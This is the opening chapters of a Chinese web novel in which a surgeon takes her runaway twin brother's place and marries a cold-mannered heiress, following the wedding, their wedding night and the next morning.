《和冰山大小姐先婚后爱》
1. 忽然结婚啦:01
“八十……八十……”
沉闷而规律的号子声,突兀地回荡在无菌洁净的骨科手术室里。
循声望去,主刀医生温言正穿着厚重的无菌服,手里握着骨科锤,死死盯着患者断裂的肱骨部,精准而沉稳地向下敲击。
“八十……八十……”
锤子每一下都力道均匀,配合着嘴里默念的节拍,节奏鲜明得惊人。
温言额角的汗水顺着口罩边缘滑落,砸在手术台旁的地砖上,晕开一小片湿痕。
“温医生,复位到位了!”
器械护士盯着显示屏上的影像,语气里满是敬佩。
温言应声停下动作,手腕一转,将骨科锤递回去。
她的声音透过口罩传来,带着几分刚发力后的沙哑:“准备固定。”
又是一个小时的精细操作,当最后一根螺钉拧紧,缝合完毕,温言才松了口气,抬手扯下口罩,露出一张格外清爽利落的脸。
刚走出手术室,还没来得及喝口温水,口袋里的手机就疯狂震动起来,屏幕上“妈妈”的两个字跳动得格外急切。
温言心头一沉,按下接听键:“喂,妈妈。”
“言言!不好了!出大事了!”电话那头,母亲的声音带着哭腔,慌乱得不成样子,“你哥……你哥跑了!”
“明天就是他和靳家大小姐的婚礼啊!宾客都请完了,酒店也布置好了,这可怎么办啊!”
温辰跑了?
温言握着手机的手指微微一紧,眉头瞬间蹙起。
温辰是她的双胞胎哥哥,性子向来懦弱又爱逃避。
当初同意入赘靳家,也是被父母半劝半逼,如今临阵脱逃,倒也不算太意外,只是这时机实在太糟。
“妈,你先别急。”温言强迫自己冷静下来,声音沉稳,“明天才婚礼,现在还有时间。”
“先让爸爸跟靳家那边沟通一下,看看能不能暂缓,我们这边也赶紧找人。我现在下班,马上回家。”
挂了电话,温言简单交代了几句工作,抓起外套就往停车场跑。
车子驶出医院大门,夜色已经降临,路灯次第亮起,映得她脸上满是凝重。
靳家是真正的老钱世家,底蕴深厚,人脉通天。
这次哥哥逃婚,无疑是狠狠打了靳家的脸,温家能不能扛住这波怒火,还是个未知数。
偏生就在她回家的路上,手机里弹出一条陌生手机的消息。
温言抽空扫了一眼,发现是她便宜哥哥发的:“妹啊!靳子衿就是个冰山女魔头,和她在一起你哥我这辈子都不会幸福的。”
“看在小时候我帮你偷身份证离家出走的份上,你就帮我顶了这桩婚事吧!”
温言心里一咯噔,连忙拨通电话过去。结果等待她的,是一串忙音……
温辰那个狗东西,竟然把她拉黑了!
好好好!
温言气得咬牙切齿,怒火中烧。
一路风驰电掣,四十分钟后,温言把车停在别墅的地下停车场,快步上楼。
电梯门刚打开,她就听见屋里传来此起彼伏的说话声,不止她父母,似乎还有其他人。
她心里咯噔一下,迈步而入,走向客厅。
客厅里灯火通明,气氛却压抑得让人喘不过气。
她家父母坐在沙发一侧,脸色苍白,手足无措。
对面沙发上,坐着一对气质雍容华贵的中年夫妇,正是靳家的父母,脸色铁青,显然怒极。
而最引人注目的,是主位上坐着的那个女人。
靳子衿。
温言只见过她三面。
第一次是两家定亲的饭局,第二次是拍订婚照,第三次是确认婚礼流程,每一次都隔着遥远的距离,只记得她清冷的眉眼和拒人于千里之外的气场。
此刻,靳子衿穿着一身剪裁得体的黑色丝绒长裙,姿态慵懒地靠在沙发背上,乌黑的长发松松挽起,露出纤细白皙的脖颈。
她的右手漫不经心地摩挲着杯沿,明明是坐着,却自带一股强大的压迫感,仿佛整个客厅的主动权都握在她手里。
听到开门声,所有人的目光都齐刷刷地投向门口。
温言僵在原地,有些尴尬地抬手打了个招呼:“叔叔阿姨,靳小姐,爸妈。”
靳子衿抬眸看来,那双深邃的眼眸像寒潭,不起一丝波澜,却带着穿透力,在她身上淡淡扫过,又很快收回。
女人继续慢条斯理地开口,声音清冷悦耳,却带着不容置疑的决断:“既然温医生回来了,那我们就把话说明白。”
“明天的婚礼,宾客已经全部到齐,国内外的合作伙伴,亲友长辈,一个不少,婚礼必须照常进行。”
温父连忙站起身,脸上满是歉意和讨好:“子衿你放心!我们已经动用了所有关系,全城搜捕温辰,一定能把他找回来!绝对不会耽误明天的婚礼!”
靳家父亲冷哼一声,语气里满是不耐:“全城搜捕?温辰既然敢逃,就是不顾两家的颜面。我靳家家大业大,难道还看得上一个逃兵?”
靳子衿轻轻抬手,制止了靳父的怒火。
她的指尖依旧摩挲着杯沿,语气平静无波:“既然温辰已经逃了,那就用不着他了。”
这话一出,客厅里瞬间安静下来。
温母愣了愣,小心翼翼地问:“那……那明天的婚礼,找谁来办啊?所有流程都定好了,总不能临时取消吧?”
所有人的目光都聚焦在靳子衿身上,等着她的答案。
靳子衿缓缓抬起手,修长白皙的手指,精准无误地指向了刚站定在门口,还没来得及换鞋的温言。
“这不还有一个吗?”
她的声音很轻,却像一颗石子投入平静的湖面,瞬间激起千层浪。
“我?”温言指着自己的鼻子,一脸难以置信,“靳小姐,你没开玩笑吧?我是女性,而且……”
“女性又如何?”靳子衿打断她的话,微微挑眉,清冷的眼眸里闪过一丝不易察觉的狡黠,“都什么年代了,同性也可以结婚。法律认可,亲友见证,有何不可?”
她顿了顿,目光扫过在场的两家父母,语气带着不容反驳的强势:“温辰逃婚,是温家失信在先。如今要么让温言顶上,婚礼照常,靳温两家的合作和交情继续。”
“要么,婚礼取消,靳家收回所有资源,同时追究温家的违约责任。”
这话直接戳中了温家的软肋。
温家全指望靳家的资源周转,哪里敢承担违约责任?
温父温母对视一眼,都从对方眼里看到了挣扎和无奈。
一边是女儿的人生,一边是全家的生计,权衡之下,竟不约而同地看向温言,眼神里带着哀求。
靳家父母显然也默认了这个提议,靳母甚至开口打圆场:“言言这孩子,我们也见过几次,沉稳能干,配得上子衿。”
“既然子衿都不介意,我看这事可行。”
温言看着眼前这荒诞的一幕,只觉得脑袋嗡嗡作响。
她原本以为回家是商量怎么解决哥哥逃婚的事,结果却被直接推上了风口浪尖,成了哥哥的“替代品”。
她想反驳,想拒绝,可看着父母愁苦的脸,看着靳子衿那副胸有成竹,掌控一切的模样,话到了嘴边,竟硬生生咽了回去。
就这样,在靳子衿一句“同性也能结婚”的强势主导下,温言稀里糊涂地被推上了明天的婚礼礼台。
第二天,阳光明媚,靳家名下的半岛酒店宴会厅里,宾客满座,衣香鬓影。
温言长发盘起,穿着一
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身宽大的黑色西服,站在红毯的另一端,整个人都是恍惚的。
那是原本为温辰准备的尺码,套在她身上空荡荡的,显得格外滑稽。
看着热闹的婚礼现场,温言脑海里不断循环着同一个问题:她是谁?她在做什么?她为什么会站在这里?
明明昨天她还在手术室里抡着骨科锤,喊着“八十、八十”,怎么今天就换上了西装,要和只见过三面的靳子衿结婚了?
这一切都太不真实了,像一场光怪陆离的梦。
就在她神游天外的时候,熟悉的婚礼进行曲突然“当当当”地响了起来,悠扬而庄重,却像一记记重锤,敲在温言的心上。
她下意识地扭头看向宴会厅的入口。
只见靳子衿穿着一身洁白的鱼尾婚纱,裙摆层层叠叠,缀满了细碎的水晶,在灯光下折射出耀眼的光芒。
她的长发挽成精致的发髻,戴着祖上传下来的珍珠王冠,妆容淡雅却难掩绝色。
最让人意外的是,她并非搀扶着父亲走来,而是由一位头发花白,精神矍铄的老太太搀扶着,一步步踏上红毯,朝着温言的方向走来。
那是靳家的老祖母靳霜叶,靳家真正的定海神针。
连老祖母都亲自出面,足以见得靳家对这场“换了人”的婚礼,依旧极为重视。
温言的心跳莫名加快,看着靳子衿一步步靠近。
距离拉近,她能清晰地看到对方眼睫上细碎的高光,看到她唇上淡粉的唇釉,还有那双依旧清冷,却似乎比往日柔和了些许的眼眸。
走到她面前,靳子衿微微抬眸,目光落在她脸上,没有说话,只是微微颔首。
司仪的声音适时响起,温和而富有磁性:“请两位新人交换戒指。”
工作人员递上戒指盒,里面是两枚设计简约的铂金戒指。
温言机械地拿起其中一枚,看向靳子衿伸出的手。
那双手白皙修长,指甲修剪得干净整齐,透着健康的粉色,和她清冷的气质截然不同。
她小心翼翼地将戒指套进靳子衿的无名指,触感微凉,却带着一种奇异的重量。
靳子衿也拿起另一枚戒指,动作优雅而从容,将它戴在了温言的手上。
金属的冰凉触感传来,像是一道无形的枷锁,彻底将两人捆绑在了一起。
“现在,有请两位新人亲吻彼此。”
司仪的话音落下,宾客们响起了善意的掌声和起哄声。
温言僵在原地,大脑一片空白。
亲吻?
和靳子衿?
还没等她反应过来,眼前的人微微倾身,靠近了她。
一股淡淡的冷香萦绕在鼻尖,是靳子衿身上惯有的味道,清冽如寒梅,却又带着一丝不易察觉的甜。
下一秒,温热柔软的触感覆上了她的唇。
很轻,很短暂,却像一道电流,瞬间窜遍了温言的全身。
她愣住了。
不是冰凉的,一点也不是。
靳子衿的唇瓣很烫,带着温热的气息,甚至能感受到她微微颤抖的睫毛,扫过自己的脸颊,带来一阵细密的痒意。
传说中那个冷得像冰山,不近人情的女魔头,此刻竟带着这样惊人的温度。
一吻落下,靳子衿率先退开,脸颊上泛起一层淡淡的红晕,快得让人以为是错觉。
她重新垂下眼眸,掩去眼底的情绪,恢复了往日的清冷。
而温言,却像是被施了定身咒,站在原地,心脏狂跳不止,脸上也烫得惊人。
婚礼进行曲还在继续,宾客的掌声此起彼伏,可她却什么也听不见了,什么也看不见了。
脑海里只剩下一个荒诞到极致的念头——
这个女人的唇,真的好软,也好香。
2. 忽然结婚啦:02
仪式结束后,两人换上敬酒服。
温言挽着靳子衿的手臂,穿梭在宾客之间。
她脸上挂着得体的微笑,与靳子衿一同应付着各方亲戚朋友的祝福,俨然一对般配的新人。
只有温言自己知道,她的注意力几乎无法集中。
她的眼角余光,总是不受控制地飘向身旁之人的唇瓣。
那个短暂而柔软的吻,仿佛烙印般清晰地留在她的记忆里,反复重现。
温言从未有过这样的体验,仿佛所有的感官,都在那一刻被靳子衿这个人全然霸占,身不由己。
鼻尖萦绕着靳子衿身上传来的淡香,清冽的柑橘前调,混合着沉稳的冷松木质香。
如同阿尔卑斯山雪松林间涌出的清泉,干净又沁人心脾,却带着一丝不容靠近的疏离。
视线所及,是女人饱满的红唇,线条优美的下颌,以及那清冷高贵,美得不可方物的侧脸。
虽然之前只见过三面,但是每一面温言都觉得靳子衿生的极为好看。
只是从未像此刻这般,觉得她好看得如此……过分。
不然,为什么她只是偷偷看一眼,心脏就像被羽毛搔刮,生出一种想要再次靠近,亲吻对方软唇的荒唐念头?
就在她心神摇曳之际,身旁的靳子衿忽然自然地挨近了些。
温言呼吸一窒,看着那张绝美的容颜在视野里放大,心脏瞬间漏跳半拍。
随即又“砰砰”狂跳起来,擂鼓般敲击着耳膜。
靠近的时候,她能清晰地感觉到,靳子衿温热的呼吸轻轻洒落在她的耳廓。
“你很不舒服吗?”靳子衿的声音压得很低,如同羽毛撩过心弦,带着不易察觉的关切。
温言只觉得心口一颤,一股微妙的电流从耳畔迅速蔓延开。
她抿了抿有些发干的唇,低声回答:“没有。”
靳子衿似乎不信,捏了捏她挽着自己的手臂,靠得更近些。
女人用只有两人能听到的音量说:“如果不舒服,可以先去休息室坐一会儿,不用一直陪着我应付。”
那一刹那,被靳子衿指尖触碰过的手臂肌肤,仿佛窜过细小的电流,酥麻感直冲头顶。
温言感觉全身的血液都在加速流动,脸上温度攀升。
她轻咳一声,强行压下心头的异样,维持着表面的镇定:“没事,我陪你一起。”
两家联姻,来的多是关系紧密的世交和重量级的商业伙伴,一圈敬酒寒暄下来,极耗心神。
饶是温言这种能在手术台前连轴转的体能怪物,也笑得脸颊发僵,走得脚步虚浮。
婚宴终于在一片喧嚣中落幕。
和靳子衿回到位于南郊的靳家庄园后,温言几乎是把自己“扔”进了客厅宽大柔软的沙发里,发出一声疲惫的喟叹。
“啊……累死了……”
她感觉自己像被抽空了力气,连手指头都不想动。
靳子衿一边慢条斯理地散开长发,一边步履轻盈地往里走。
经过沙发时,女人用冰凉的指尖轻轻拍了拍她的发顶,淡淡道:“二楼有客房,洗漱用品都是备好的。”
靳子衿的声音仍旧冷冷淡淡的,却多了几分温柔的轻哄:“你先去洗漱,结束后到主卧找我。”
说完,她便如一阵轻盈的北风,悄然离开了客厅。
温言在沙发上又趴了一会儿,才撑起身子,慢吞吞地走上二楼。
很快,她洗去一身疲惫和酒气,穿着舒适的居家服,站在主卧门前。
温言深吸了一口气,抬手敲响了房门。
“进来。”
温言推门而入。
主卧内只开了一盏暖黄的床头灯,光线柔和。
靳子衿已经洗漱完毕,换上了一身银白色的丝绸睡衣,正靠着床头翻阅电子平板。
灯光下,女人微卷的长发披散在肩头,多了几分成熟的温柔。
她抬眸扫了温言一眼,朝她招了招手:“过来。”
温言下意识地走过去,在床边站定。
她垂眸,看着身披夜色,如同女妖般明媚的女人,下意识用了敬称:“靳小姐,有什么事吗?”
靳子衿闻言,略显诧异地看了她一眼。
她放下平板,仰头看着温言,长眉轻挑:“我们虽然是今天刚结婚,但毕竟已经是法律上和所有人见证下的伴侣。”
“温医生,你确定要一直这么客气吗?”
温言微窘,立刻从善如流地纠正:“好的,子衿。你找我,是有什么要和我说的吗?”
靳子衿看了她一眼,不置可否,只是拍了拍身旁的床铺,示意她坐下。
温言依言坐下,身下的床垫柔软,空气里弥漫着属于靳子衿的冷香,熏得她目眩神迷,心跳一下就快了起来。
温言下意识蜷了蜷手指,有些坐立难安。
靳子衿将平板合上,放在一旁的床头柜,转过头看着温言,漫不经心道:“虽然是为了让婚礼正常推进,才临时将婚约对象改成了你。”
静谧的夜色里,她目光平静地注视着温言,语气多了郑重:“不过,我既然选择了和你结婚,就会给你‘靳太太’应有的尊重和待遇。”
“同样,”她语气微沉,“我也希望你明白,我们的婚姻不是儿戏,是两个家族,也是我们两个人之间,需要认真对待的关系。”
温言认真地点点头:“我明白。”
她两手放在膝盖上,神色端肃:“我会做好我该做的事情,不会给这段婚姻……还有你,添不必要的麻烦。”
很一板一眼的回答,方式非常之温言。
靳子衿微微颔首,随即朝温言伸出手,唇角弯了一下,弧度极淡:“重新正式认识一下。我叫靳子衿,恒星集团现任总裁。”
温言伸出手,轻轻握住她的。
靳子衿的手微凉,指节纤细,但握起来却柔韧有力。
这触感,令人上瘾。
温言走神了一瞬,很快回眸,凝视着对方的眼睛一字一句道:“温言,京州大学附属骨科医院,主治医生。”
靳子衿察觉到她的心不在焉,弯了弯唇角。
她没有立即松开手,反而用指尖轻轻摩挲着温言的手指,动作自然地仿佛在昨夜里摩挲瓷杯的边缘一样。
酥酥麻麻的感觉从触碰的位置传来,磨得温言脸颊发烫。
她下意识想收回手,可这时靳子衿却勾着她的手指,慢悠悠地开口:“虽然在此之前,我已经大致了解过你的情况。”
“不过……”女人凝视着温言逐渐烧红的脸颊,拉长了语调,“为了我们的婚姻能够正向而稳定地经营下去,有一个问题,我觉得还是当面问清楚比较好。”
温言被她摸得指尖发颤,连带着声音都有些不太稳:“你问。”
尽管她已经极力稳定了,但说出最后一个字的时候,语调还是抖得不行。
察觉到她的异样,靳子衿笑了一下。
女人身体前倾,顺势握住了温言的手,凑到她面前轻声开口:“温医生,有喜欢的人吗?无论男女。”
此时此刻,两人身体间的距离,拉得相当近。
浅浅的柑橘与冷松混合的香味扑面而来,几乎占据了温言的感官。
温言下意识低头,眼前一阵雪白的春光晃过,几乎要亮瞎她的
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眼睛。
这一刻,她的感官完全被一个名为靳子衿的女人完全入侵了。
大脑变得异常迟钝,眼前一阵一阵发亮发亮,脑袋嗡嗡作响……
心率加快,呼吸急促,咚咚咚的心跳声,几乎要震聋她的耳朵。
回神……
回神温言……
别像个变态一样,盯着人家女孩子,一动不动的……
回神啊温言……
她艰难地将自己的视线从靳子衿身上挪开,抿了抿唇道:“没……没有……”
靳子衿眉梢微挑,更近地迫了过来:“是以前没有,还是现在没有?”
坚实的手臂上,覆盖了一层柔软,温言的眼睛一下就直了。
见鬼的!
明明她也有,为什么会觉得眼前这个女人,是那么香,那么软?
这一刻,温言只觉得自己全身的血液都往头顶冲了,整个人烫得可怕。
她舔了舔唇瓣,勉强找回自己的声音:“都没有。”
和温辰这种从小嘴甜受欢迎的咖不一样,温言的寡言少语让她显得格外的内向。
再加上她热衷于探索人体奥秘,一直跳级,和周围环境格格不入……
别说是对象了,她连遇到一个志同道合的朋友都难。
靳子衿是调查过温言所有资料的,对于她来说,比起温辰这样的中央空调,还是温言这种“老实人”调戏起来更有趣。
靳子衿眼中掠过一丝极淡的玩味,指尖有意无意地在温言手掌画着圈圈:“哦……原来我们温医生,是初恋还在,就英年早婚了。”
温言:“……”
这话她没法接。
肌肤触碰的地方,传来一阵一阵的痒意,从掌心一直沿着手臂心口钻。
温言蜷了蜷手指,感觉自己的脸颊又开始不受控制地升温。
靳子衿饶有兴味地观察着她细微的反应,意味深长道:“温医生什么经验都没有,反而会让我有点担心……”
温言抬眸,下意识地问,心跳莫名:“担心什么?”
靳子衿倾身,用胸口抵着温言的肩头,两人距离瞬间拉近。
她身上那股冷香混合着刚沐浴后的水汽,变得更加清晰,惹得温言心口砰砰乱跳。
靳子衿挨着温言的肩头,靠在她的耳朵,呵气如兰:“担心你能不能接受……和女人……”
做/爱。
温热的吐息洒落,当最后两个字钻入温言的脑袋时,她全身如同过电一般,轻轻颤抖了起来。
她骤然回眸,震惊地看向靳子衿,清亮的眼神仿佛在说“你怎么能说出这样的话来。”
靳子衿莞尔,重新坐回床上,饶有兴致地开口:“你知道的,高质量的性/生/活/,也是检验一段亲密关系是否能够良好延续的重要标准之一。”
“既然我选择了你,就意味着,我是想和你把这段婚姻好好经营下去的。”
温言的脸“轰”的一下全红了,连耳根都染上了绯色。
她感觉自己的大脑因为这番话和过近的距离,有点运转过热。
靳子衿看着她通红的脸颊和无所适从的眼神,忽然轻轻笑了一下
她抬起另一只手,指尖轻柔地落在温言微微抿着的唇瓣上。
女人的手指微凉,却像点燃了一簇火苗。
“所以,”靳子衿的嗓音压得更低,气息若有若无地拂过温言的脸颊,带着令人心慌的诱惑,“我们先试试吧,嗯?”
试……试什么?
温言的大脑还没来得及解析出这句话的含义,眼前的光线便被遮挡。
靳子衿倾身,咬了上来。
3. 忽然结婚啦:03
靳子衿的吻,带着不容置喙的侵略性。
不再是婚礼上那蜻蜓点水般的礼貌,也不是片刻前耳畔低语时的若即若离。
这个吻异常强势,带着一种近乎蛮横的力道,撬开了温言因惊愕而微张的唇齿。
“唔……”
温言的大脑彻底宕机。
所有的思维,所有的理智,都在这一刻被唇上滚烫的触感和席卷而来的清冽气息搅得粉碎。
她全身僵硬,只能被动地承受着这个过于激烈的吻。
靳子衿的舌尖带着试探,继而变得有些急切,像是在确认什么,又像是在宣告主权。
氧气变得稀薄,温言感觉自己快要窒息,肺部传来轻微的刺痛。
她下意识地想要后退,寻求一点喘息的空间。
可靳子衿仿佛洞悉了她的意图,一只手不知何时绕到了她的脑后,纤细有力的手指穿入她半干的发丝,固定住了她试图逃离的动作。
这个带着些许禁锢意味的动作,反而奇异地刺激了温言某种潜藏的本能。
独立操作整台手术的掌控欲,在这一刻被这个过于强势的吻意外地激发了出来。
退缩?
不。
温言开始笨拙地回应。
起初只是细微的试探,舌尖小心翼翼地触碰。
但很快,那种陌生而强烈的感官冲击让她迷失。
她开始学着靳子衿的方式,尝试着反击,试图重新夺回一点点主动权。
感受到她的回应,靳子衿的动作微微一顿,随即,吻变得更加深入,也更加……缠绵。
那原本按在温言脑后的手,力道稍稍放缓,指尖无意识地揉捻着她的发梢,带来一阵阵麻痒。
不知过了多久,在温言感觉自己真的快要因为缺氧而晕过去时,靳子衿终于放开了她。
两人额头相抵,都在急促地喘息。
温言的脸红得几乎要滴出血来,眼神湿润,带着前所未有的迷离。
靳子衿的脸颊也染上了绯色,那双清冷的眼眸此刻水光潋滟,平添了几分动情的媚意。
“看来……”靳子衿的气息有些不稳,声音比平时沙哑了几分,带着一丝戏谑,“温医生的学习能力,很强。”
温言羞窘得说不出话,心脏还在疯狂擂鼓,全身的血液似乎都涌向了头部和刚刚被激烈亲吻过的嘴唇。
靳子衿看着她这副样子,眼底的笑意更深。
她松开环绕在温言脑后的手,指尖却顺着她的脸颊,轻轻滑落到下颌,然后,是脖颈,最后停留在她居家服的第一颗纽扣上。
那微凉的指尖触碰到颈间敏感的肌肤,温言猛地一颤,像是被电流击中。
靳子衿抬手勾住她的第一颗扣子,倾身靠近,在她唇上呵气如兰:“继续吗?”
温言抬眸看着她,点了点头。
靳子衿轻轻笑了一下,另一手捧住她的脸,温热的唇再次覆了上来。
这一次的吻,又与之前的狂风暴雨,完全一样。
她先是轻轻咬住温言的下唇,带来一阵细微而刺激的颤栗,随即转为温柔却不容拒绝的吮吸。
唇齿相依的瞬间,温言只觉得一股电流沿着脊椎窜开,激得她浑身轻颤,理智的弦应声而断。
她几乎是本能地抬手,环住了靳子衿纤细而柔韧的腰肢,将人更深地拥入自己怀中。
靳子衿顺势倾倒过来,乌黑的长发如瀑般垂落,笼罩在温言的脸侧。
发尾随着她细密的亲吻,若有似无地撩过温言的颊边与脖颈,带起一阵阵酥麻的痒意。
口鼻间盈满她身上清冽的柑橘冷松香,此刻却仿佛被体温蒸腾得馥郁醉人,熏得温言头晕目眩。
她感觉自己像坠入一场潮湿的迷梦,手脚发软,心口却胀得发疼。
一种陌生的,强烈的空虚感在身体里叫嚣,渴望着被填满,驱使着她去征服,去占有。
向来引以为傲的理智节节败退,彻底被身体最原始的欲/望主导。
温言无师自通地抚上靳子衿的腰线,掌心感受着丝绸下肌肤的温热与起伏,一路向上。
最终她单手控住了靳子衿的后颈,带着一丝不容置喙的力道,让她低下头,随即反客为主地加深了这个吻。
“唔……”
一声压抑的轻吟从靳子衿喉间逸出,混着夜色,清晰地钻入温言耳中。
如同一点星火坠入荒原,温言整个人都被点燃了。
烫,难以言喻的烫。
全身酥麻,叫嚣着需要更多冰凉的慰藉。
而怀中的女人玉骨冰肌,檀口却温热生津。
温言紧紧箍着她的腰,仰头贪婪地攫取着她的气息。
世界在天旋地转,她闭上眼,任由女人的发丝缠绕感官,沉溺在愈发浓郁的香气里,只觉得每一寸肌肤都在发痒,心跳失序得可怕。
动作越发肆意,带着慌乱却坚定的探索,她掀开了那碍事的丝绸裙摆。
就在她意图更进一步时,靳子衿却忽然抬手,掌心抵住了她的肩头。
温言动作一顿,迷蒙地睁开眼,望向身下的女人。
昏暗灯光勾勒着靳子衿染上薄红的侧脸,她半倚在床头,眼底水光潋滟,呼吸微乱:“等等……”
温言不解,眼神里带着未褪的情动。
靳子衿别开眼,长睫轻颤,声音低若蚊呐:“家里……没有准备……”她顿了顿,吐出两个清晰的字眼,“工具。”
温言的脸瞬间爆红,热度一路蔓延到耳根。
她磕磕绊绊:“那……那怎么办?”
“下、下次再……”
继续?
毫无经验的温言,下意识将这理解为一种婉拒,搭在对方腰侧的手就要收回。
靳子衿却倏然伸手,攥住了她的手腕。
下一刻,她整个人被拖拽着,陷入一片意想不到的热带雨林。
温言瞬间瞪大了眼睛,难以置信地看向靳子衿。
在她震惊的目光中,靳子衿倾身靠近,用柔软的唇瓣含住了她的耳垂。
湿热的气息灌入耳廓,带着女人蛊惑的指令:“不用等下次,就现在……”
“取悦它。”
温言脑中嗡的一声,仿佛有白光炸开。
她深吸一口气,凭着本能,轻揉着抚上去。
————
清晨六点,生物钟准时将温言唤醒。
意识尚未完全回笼,先感觉到胸口沉甸甸的压迫。
她垂眸,靳子衿正像只无尾熊般趴伏在她身上,脸颊贴着她心口,睡得深沉。
被褥下,两人肌肤相贴,滑腻温凉的触感无比清晰,唤醒了昨夜所有混乱而炽热的记忆。
温言的脸瞬间烧了起来。
哪怕闭上眼,女人情动时迷离的眼眸,微启的红唇,难耐的低吟,依旧历历在目。
心脏不受控制地狂跳,她默默念着“非礼勿视”,一边试图轻轻推开枕在身上的人。
只是稍稍一动,怀中的女人便不满地蹙起了秀眉。
温言立刻僵住,屏息等待。
过了一会儿,靳子衿才缓缓睁开眼,慵懒地抬眸看她。
四目相对,她眼中还蒙着一层未醒的雾霭,慵懒又暧昧。
温言扯出一个有些僵硬的笑:“嗨,早……”
谁知靳子衿只瞥了她一眼,便重新闭上眼,将脸埋回她颈窝,嘟囔道:“不做。”
女人声音带着初醒后的沙哑,说完,她手脚并用地将温言缠得更紧,仿佛这是她专属的人形抱枕。
这份理直气壮,让温言瞬间回
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想起昨夜“被使用”的感觉,心情微妙。
对天天抡大锤,练八极拳的温言而言,靳子衿的重量算不得什么。
只是这般紧密的缠绕,让她有些无所适从。
加之她没有睡回笼觉的习惯,此时必须起床晨练。
温言犹豫片刻,还是轻轻推了推靳子衿的肩:“靳小姐……靳小姐……”
唤了两声,靳子衿猛地抬起头。女人眼神清明了些,直勾勾盯着她,带着明显的不悦。
温言一怔,立刻改口:“子衿,我得起来了。”
靳子衿像是终于清醒,讶异地看向她:“现在?几点了?”
她下意识伸手摸索床头的手机,温言自然地拿过,递到她眼前:“刚过六点。”
屏幕上的“06:02”让靳子衿侧目:“你每天都起这么早?”
温言点头:“嗯。”
“现在是冬天。”靳子衿的语气带着不可思议。
温言老实回答:“我一年四季都这样。”
靳子衿定定看了她两秒,没再说什么,手脚并用地从她身上挪开,卷走大半被子,利落地翻过身背对她:“你起吧。”
她还要睡。
温言看着身旁那一大团“被子卷”,忽然想起哥哥逃婚前还控诉靳子衿是“冰山女魔头”。
谁家的冰山女魔头,会睡成这副蛮不讲理的“猪儿虫”模样?
这反差实在有点……可爱。
温言忍不住弯起唇角,心底悄然升起一丝期待。
或许这段仓促的婚姻,并没有想象中那么难熬。
至少,她们在某些方面……异常合拍。
她轻轻拍了拍那团“被子卷”,这才小心翼翼地起身下床。
为了不打扰靳子衿,她特意去到客用浴室梳洗。
作为临时顶包的“新郎”,她还不熟悉庄园,找不到自己的衣物,只好换上昨日的西装。
下楼步入后花园,冷冽的寒风扑面而来。
她在草坪上站定,摆开八极拳的起手式。
要想在外科,尤其是骨科立足,充沛的体能是基础。
她自大学拜入师门,便坚持晨练,寒暑不辍。
两套拳法下来,温言的身体已然发热,额角渗出细汗,周身蒸腾起淡淡的白气。
旭日初升,天光破晓。
温言徐徐收势,长舒一口浊气。
“啪啪啪——”
身后忽然响起清脆的掌声。
温言回头,见靳子衿不知何时已起,正站在温室花房的玻璃门内。
她只穿了睡裙,外搭一件宽松的羊毛大衣,好整以暇地望着她。
温言有些不好意思地走过去,玻璃门自动滑开。
“怎么起来了?”她问。
靳子衿倚着门框,抱臂懒懒道:“睡不着,就起来了。没想到能看到这么精彩的表演。”
她伸手,替温言理了理微乱的西装领,指尖不经意划过颈侧皮肤,语气轻慢:“省武术冠军?还真是名不虚传。”
女人纤长的手指并未收回,反而顺势向下,勾住了温言的腰带,轻轻一带:“全身都很有劲。”
温言被她这么一拽,并没有动。反倒是靳子衿向前踉跄半步,径直撞入她怀中。
温言立马伸手,帮她稳住身形。
靳子衿抬眸,有些惊讶地看着她。
温言扶着她的手臂,与她拉开了一点距离,羞赧开口:“有汗。”
看着她泛红的耳垂,靳子衿往前迈近,仰头凑近她耳边,温热的气息拂过:“没关系。”
她的声音带着一丝戏谑的笑意,低语道:“反正……昨晚也尝过了。”
“我不讨厌你的味道。”
温言呼吸一滞,脸颊再次不受控制地迅速烧红。
4. 忽然结婚啦:04
温言自幼跳级读书,年纪总比周遭的人小一截,聪明得让人照顾,却又小得让人生不出旁的心思。
她对情爱之事接触得少,此刻被靳子衿那句话撩得耳根发烫,一时不知如何应对。
温言只好生硬地转开话题:“你饿不饿?我有点饿了。”
“不如我们先吃早饭吧。”
话说出口,她才觉出这话转得有多拙劣。
靳子衿眼尾弯起很浅的弧度,没拆穿她:“好。”
两人并肩而行,朝餐厅走去。
两人在长桌两侧落座,温言扫了一眼空旷的餐厅,忽然问:“今早只有我们?”
靳子衿扫了她一眼,理所当然道:“这里是婚房,当然只有我们。”
温言想起哥哥逃婚前嘟囔过的“靳家规矩大”,悻悻笑笑,“我还以为……”
“以为要一大家子一起吃早饭?”靳子衿接过她的话,语气里带着了然的笑意,“不用。”
她取过面前切好的吐司面包,执起银质餐刀,慢条斯理地往面包上抹黄油。
女人的动作优雅得像在签署文件:“我们虽然结婚了,但我的父母、堂亲,那些人际往来都是我的事,你不用费心应付。”
“只有奶奶那儿,”靳子衿顿了顿,抬起眼,看向温言,“有空可以去陪她说说话。”
“她住得不远,就在我们隔壁。”
温言点头:“我知道了。”
空气安静了片刻,只有餐具轻碰的细微声响。
靳子衿忽然开口:“婚礼仓促,婚纱照和蜜月都没安排。”
她语气平淡,像在陈述日程表上的待办事项:“我最近工作排得很满,抽不出时间,要过段时间才能处理这些事。。”
温言表示谅解:“没关系,反正我这段时间也很多手术。”
“嗯,我知道你也忙。”靳子衿放下餐刀,目光落在温言脸上,“等你空闲了,我们对一下行程。”
“好。”温言答得很快,“我会联系你的助理。”
靳子衿微妙地顿了一下。
片刻之后,她朝温言伸出手,掌心向上:“手机。”
温言不明所以,但还是从口袋里摸出手机递过去。
靳子衿接过,指尖在屏幕上快速点按,然后递回了回去。
温言的手机里,多了一个名为“老婆”的联系人,她有些惊讶。
靳子衿……竟然给了这么一个备注。
“这是我的私人号码。”靳子衿收回手,重新拿起餐刀,“以后直接打给我。”
温言怔了怔:“不会打扰你工作吗?”
“不会。”靳子衿切下一小块面包,送入口中,咀嚼咽下后才抬眼看向温言,语气自然得像在讨论天气,“你是我妻子,理应在我的生活动线里。”
她顿了顿,补充道:“我接受你的‘打扰’。”
温言握着手机,指尖触到冰凉的屏幕,心口却莫名发烫。
抛开昨夜那些混乱滚烫的纠缠不谈,至少此刻,她能感觉到,靳子衿是认真的。
这段始于荒诞的婚姻,不是儿戏。
温言从未憧憬过婚姻,也不相信所谓爱情,但她懂得“责任”二字的分量。
既然对方拿出诚意,她便不会敷衍。
温言点了点头,说:“好。”
早餐结束时,晨光已经漫了上来。
靳子衿让司机备车,送温言去医院。
婚结得突然,温言没请婚假,今天还得照常上班。
车驶出庄园,汇入早高峰的车流。
从南郊到市中心的医院,正常车程两小时,遇上堵车就更难说。
